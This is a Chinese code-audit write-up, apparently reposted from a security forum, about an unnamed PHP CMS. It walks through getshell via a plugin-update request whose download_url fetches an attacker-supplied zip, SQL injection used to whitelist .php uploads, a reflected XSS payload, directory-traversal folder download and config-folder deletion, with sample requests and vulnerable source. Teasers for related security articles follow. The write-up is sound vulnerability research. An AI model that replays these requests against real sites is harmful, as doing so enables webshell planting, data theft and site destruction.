某cms代码审计引发的思考

0x01、前言

在CNVD闲逛的时候看到这款CMS,发现常见的用于getshell的漏洞都有人提交过,顿时来了兴趣,下载下来经过审计发现漏洞的利用方式和常规方法稍有不同,尤其是对于文件上传的漏洞来说,在以前的测试中主要集中在图片附件之类的地方,在当下基本都通过白名单方式来限制上传的情况下,如果CMS中存在一些在线升级或者下载插件的功能,如果我们能替换从远端下载的程序为自己的可执行脚本也不失为一种文件上传的好方法

0x02、从安装插件到任意文件上传

POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 80
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/admin.php/Plugins/
Cookie: PHPSESSID=tq79jo8omp5s72lq101noj48lq

action=start-download&filepath=msgphone&download_url=http://127.0.0.1/test/a.zip

攻击者可以控制download_url传入参数的值,从而传入被压缩的可执行脚本,然后该压缩包会被解压并传入到特定位置,实现getshell
所以只需要攻击者在自己控制的网站上压缩可执行脚本然后将url赋值给download_url即可实现任意文件上传
定位下函数位置,该函数位于/A/c/PluginsController.php下的update函数

传进来的值通过frparam函数处理之后变赋值给了remote_url
跟进到frparam函数函数中,该函数位于/FrPHP/lib/Controller.php中

public function frparam($str=null, $int=0,$default = FALSE, $method = null){

        $data = $this->_data;
        if($str===null) return $data;
        if(!array_key_exists($str,$data)){
            return ($default===FALSE)?false:$default;
        }
        if($method===null){
            $value = $data[$str];
        }else{
            $method = strtolower($method);
            switch($method){
                case 'get':
                $value = $_GET[$str];
                break;
                case 'post':
                $value = $_POST[$str];
                break;
                case 'cookie':
                $value = $_COOKIE[$str];
                break;
            }
        }
        return format_param($value,$int);
    }

该函数并没有对传入的值进行过滤,只是简单的从data数组里取数据
然后继续回到update函数,在获取到了remote_url的值后便进行了下载以及解压缩的操作


最后解压到的文件夹为/A/exts

0x03、从sql注入到任意文件上传

从回显可以明确的看到这是一个报错注入,如果没有回显报错的话,为了查看是否进行了sql语句的拼接可以去查看mysql的log日志,可以通过Navicat的日志功能去查看

在对CMS不是很熟悉的情况下可以通过搜索关键字来定位大概的漏洞位置,customurl成功的引起了我的注意,这是表的名字,经过简单判断,定位到函数位置为
/Home/c/HomeController.php中342-355行中,用户传入参数url然后进入到find函数中处理

跟进到find函数中,位于/FrPHP/lib/Model.php,find函数主要去调用findAll函数去拼接执行sql语句

public function find($where=null,$order=null,$fields=null,$limit=1)
    {
       if( $record = $this->findAll($where, $order, $fields, 1) ){
            return array_pop($record);
        }else{
            return FALSE;
        }
    }

这里看代码看的头疼,为了直观展示代码的执行过程可以用phpstorm配合xdebug的方式去调试php代码,可以看到将我们传入的参数直接带入查询,然后调用getArray函数去执行

public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
    {
        .....
        .....
        if(!empty($limit))$where .= " LIMIT {$limit}";
        $fields = empty($fields) ? "*" : $fields;
        $table = self::$table;
        $sql = "SELECT {$fields} FROM {$table} {$where}";
        return $this->db->getArray($sql);
    }

在 /FrPHP/db/DBholder.php中, getArray函数调用query函数,如果有错误将输出错误信息

当然只是原样输出报错信息的话应该还是存在一个反射型XSS的

http://x.x.x.x/static/default/assets/asset/img/1'%3Cimg%20src=1%20onerror=alert(1)%3E--


在接下来发现该CMS允许上传的文件类型是保存在数据库中的

通过数据库写入到缓存文件,在使用时从缓存文件中去看上传的类型是不是缓存文件中允许的,如果是则允许上传。那可以通过SQL注入漏洞更新下数据库,写入允许上传的后缀php,即可实现getshell

然后登陆后台清空缓存让网站重新获得新的缓存,然后上传php文件。看到上传成功了

既然是代码审计,我们也来跟下网站获取上传类型的方式
在/A/c/CommonController.php 中uploads函数中是从webconf中获得的fileType的值

$fileType = $this->webconf['fileType'];
            if(strpos($fileType,strtolower($pix))===false){
                $data['error'] =  "Error: 文件类型不允许上传!";
                $data['code'] = 1002;
                JsonReturn($data);
            }

webconf函数位于/Conf/Functions.php中,通过调用getCache函数来获取相关的值

function webConf($str=null){
    //v1.3 取消文件存储
    //$web_config = include(APP_PATH.'Conf/webconf.php');
    $webconfig = getCache('webconfig');
}

getCache函数位于/FrPHP/common/Functions.php

function getCache($str=false){
    if(!$str){
        return false;
    }
    //获取
    $s = md5($str).'frphp'.md5($str);
    $cache_file_data = APP_PATH.'cache/data/'.$s.'.php';
    if(!file_exists($cache_file_data)){
        return false;
    }
    $last_time = filemtime($cache_file_data);//创建文件时间
    $res = file_get_contents($cache_file_data);
    $res = substr($res,14);
    $data = json_decode($res,true);

    if(($data['frcache_time']+$last_time)<time() && $data['frcache_time']>=0){
        unlink($cache_file_data);
        return false;
    }else{
        return $data['frcache_data'];
    }
}

getCache从/cache/data/中获取相关的值 缓存文件的名字为md5(webconfig).'frphp'.md5(webconfig)
可以看到已经成功缓存,php为允许上传的类型

0x04、后台任意文件夹压缩下载

这个的漏洞触发同样位于CMS的插件部分,只需要替换filepath的值为要打包的文件夹即可
打包网站下载

根据url定位到漏洞位置,位于/A/c/PluginsController.php中的output函数,该函数主要是获取用户输入的文件名然后进行压缩在发送给客户端,
还是这个frparam函数,由前文可知该函数没有对传入的参数进行过滤的话,从而导致了可以进行目录穿越,然后可以压缩不同的目录下载任意文件,条件只需要知道文件夹名字

0x05、后台配置文件删除

该漏洞的触发同样也是源于frparam函数没有对传入的文件路径进行必要的过滤
在 /A/c/PluginsController.php中的action_do函数中的483到494行中由于未对目录进行限制导致的目录穿越漏洞,只要文件中包含config.php文件即可触发deldir函数进行文件删除操作
Conf文件夹中包含config.php,该文件夹为网站配置信息储存的地方,一旦被删除,网站将无法正常运行

deldir函数的功能是遍历目标文件下的所有文件进行删除操作

function deldir($dir) {
    //先删除目录下的文件:
    $dh=opendir($dir);
    while ($file=readdir($dh)) {
        if($file!="." && $file!="..") {
            $fullpath=$dir."/".$file;
            if(!is_dir($fullpath)) {
                unlink($fullpath);
            } else {
                deldir($fullpath);
            }
        }
    }
    closedir($dh);

成功删除了Conf文件夹

0x06、总结
phpstorm配合xdebug进行代码调试,在代码不太读得懂的地方可以直观看到代码具体执行过程,对于代码审计来说很有帮助,当然对于sql注入同样也可以采取监控sql语句的执行过程来看是否存在sql注入漏洞。对于上传点的寻找又多了一种思路,毕竟现在网站为了方便都增加了在线升级或者在线下载插件的功能,并且大部分都自带解压或者执行的功能,如果远端的url可以被替换,很有可能实现任意文件上传。对于代码审计目前还处在起步学习阶段,如有分析的不对的地方或者见识浅薄的地方还望批评指正。

本文来源于: https://xz.aliyun.com/t/7775

相关推荐

php代码审计学习之函数缺陷

php代码审计学习之函数缺陷 感兴趣的可以参考一下PHP-Audit-Labs in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './soluti

CVE-Flow:1999-2020年CVE数据分析【1】

给大家汇报一下最近工作,主要做了这么几个事情: 1999-2020年CVE数据分析。 增量CVE数据的T级监控。 EXP预警。 全局自动化。 产出及价值 汇总产出一份近20年来CVE原始数据集:CVE2020,且持续自动更新,具备66个属性

WAF绕过之SQL注入(归来)

Author:flystart Team: ms509 Date:2020/5 前言: WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生,在渗透测试一个目标的时候常常作为拦路虎让人头痛不已,

WordPress Ninja Forms插件 CSRF to XSS漏洞(CVE-2020-12462)分析

前言 Ninja Forms是一款WordPress插件。使用Ninja Forms插件无需编码即可以创建美观、用户友好的WordPress表单。据统计,全球超过 2,000,000 个网站正在使用 Ninja Forms。 Ninja F

CVE-2019-18679 Squid 敏感信息泄漏

0x1 前言 Squid是一个开源的高性能的代理缓存服务器。它接受来自客户端的请求并适当地处理这些请求。例如,如果一个人想下载一web页面,他请求Squid为他取得这个页面。Squid随之连接到远程服务器并向这个页面发出请求。然后,Squi

Potato家族本地提权细节

本文结合POC源码,研究Potato家族本地提权细节 Feature or vulnerability 该提权手法的前提是拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,以下

一次对参数编码混淆越权的尝试

一、前言 当你进行越权测试遇到参数被混淆编码时是简单的尝试然后放弃,还是和他杠上?,本文将介绍一次对某系统某参数有混淆编码的越权尝试。 二、越权尝试 1、登录某系统,点击保存 2、使用burp抓包,发现key参数: RuYW1lPVRfW

CVE-2017-16995复现与分析

CVE-2017-16995复现与分析 前言 CVE-2017-16995是一个内核提权漏洞,最近PWN2OWN爆出了一个ebpf模块相关的提权漏洞,因此打算系统地学习一下ebpf这个内核模块,并复现和分析与之相关的内核漏洞,之前先知已经有

Bug Bounty:$20000 Facebook DOM XSS

window.postMessage()方法保证窗口对象之间的安全跨域通信;例如,在页面和它产生的弹出窗口之间,或者在页面和嵌入其中的iFrame之间。 更多关于window.postMessage()方法的知识可以查阅Mozilla Po

mailoney蜜罐学习记录

蜜罐介绍 Mailoney是T-pot蜜罐系统中针对SMTP协议的一个蜜罐,该蜜罐中有三种工作模式,分别为open_relay,postfix_creds,schizo_open_relay。各种模式功能如下: open_relay-只是一

CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE

原文地址:https://frichetten.com/blog/cve-2020-11108-pihole-rce/ 以下是CVE-2020-11108的writeup,Pi-hole Web应用程序的认证用户可以通过CVE-2020-1